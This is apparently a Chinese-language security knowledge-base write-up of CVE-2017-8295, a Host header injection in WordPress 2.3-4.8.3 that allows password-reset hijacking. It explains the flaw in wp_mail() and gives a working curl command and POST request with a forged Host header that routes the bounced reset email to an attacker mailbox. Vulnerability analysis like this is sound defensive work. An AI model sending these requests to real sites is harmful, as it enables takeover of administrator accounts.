menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 002-WordPress 系统漏洞 chevron_right 004-CVE-2017-8295 WordPress 2.3-4.8.3 任意密码重置_HOST头注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    004-CVE-2017-8295 WordPress 2.3-4.8.3 任意密码重置_HOST头注入漏洞.md
    3.55 KB / 2021-07-17 00:01:32
        # CVE-2017-8295 WordPress 2.3-4.8.3 任意密码重置/HOST头注入漏洞
    
    ### 一、漏洞简介
    
    在 WordPress 2.3-4.8.3 版本中找回密码功能未正确设置发送邮件的信息,在发送找回密码邮件的过程中直接使用 Host 地址作为邮件请求头的一部分,在一些情况下攻击者可利用该功能窃取找回密码邮件内容。
    
    ### 二、漏洞影响
    
    WordPress 2.3-4.8.3
    
    ### 三、复现过程
    
    漏洞分析
    
    在 WordPress 中, wp_mail() 函数用来发送邮件,在发送邮件的过程中如果没有设置 发件地址(From) ,则会自动使用 'wordpress@' + $_SERVER['SERVER_NAME'] 作为邮件的 发件地址。主流的 Web 服务器中的 SERVER_NAME 变量来自于客户端请求中 HTTP_HOST 头,这就意味着该发件地址是用户可控的。
    
    wp_mail() 函数的声明在文件 WordPress/wp-includes/pluggable.php 中:
    
    
    ```php
    function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {
    ...//ignore
        if ( !isset( $from_email ) ) {
            // Get the site domain and get rid of www.
            $sitename = strtolower( $_SERVER['SERVER_NAME'] );
            if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
            }
            $from_email = 'wordpress@' . $sitename;
        }
        /**
         * Filters the email address to send from.
         *
         * @since 2.2.0
         *
         * @param string $from_email Email address to send from.
         */
        $from_email = apply_filters( 'wp_mail_from', $from_email );
        /**
         * Filters the name to associate with the "from" email address.
         *
         * @since 2.3.0
         *
         * @param string $from_name Name associated with the "from" email address.
         */
        $from_name = apply_filters( 'wp_mail_from_name', $from_name );
        $phpmailer->setFrom( $from_email, $from_name );
    ...//ignore
    }
    ```
    
    在某些情况下邮件服务器会直接将邮件的 发件地址 作为 退件地址(Return-Path),当邮件发送失败时邮件会被自动转发到 退件地址。因为 发件地址 可被篡改,因此找回密码邮件的内容可能会被发送到恶意的邮件服务器中。
    
    #### 漏洞复现
    
    安装 WordPress 程序
    
    此处的管理员邮箱设置为不存在的邮箱地址 [email protected],用来模拟通过DNS攻击/DOS攻击使管理员的找回密码邮件发送失败
    
    ![](images/15895246985778.png)
    
    
    创建邮箱账户
    
    演示中我们使用的是 [email protected]
    
    通过在线终端,发起找回密码请求,并篡改 HTTP_HOST 请求头
    
    我们这里使用在线终端模拟攻击内网的 WordPress 网站。
    
    在线终端中执行:
    
    
    ```bash
    curl -v 'http://url/wp-login.php?action=lostpassword' -H 'Host: vulnspy.com' --data 'user_login=admin&redirect_to=&wp-submit=Get+New+Password'
    ```
    
    ![](images/15895247216652.png)
    
    
    post数据包:
    
    
    ```bash
    POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
    Host: injected-attackers-mxserver.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 56
    
    user_login=admin&redirect_to=&wp-submit=Get+New+Password
    ```
    
    如果此时邮件发送失败,邮件会被自动退回到 [email protected]。即原本要发送管理员邮箱 [email protected] 的邮件会被发送到 [email protected]
    
    使用 [email protected] 接收找回密码邮件
    
    如果利用成功 [email protected] 会接收到密码重置邮件。
    
    ![](images/15895247433026.png)
    
    
    如果邮件内容没有显示找回密码链接,可以通过邮件源文件发现找回密码链接
    
    ![](images/15895247566063.png)
    
    
    使用找回密码链接修改密码
    
    ![](images/15895247631354.png)
    
    
    
    
    links
    file_download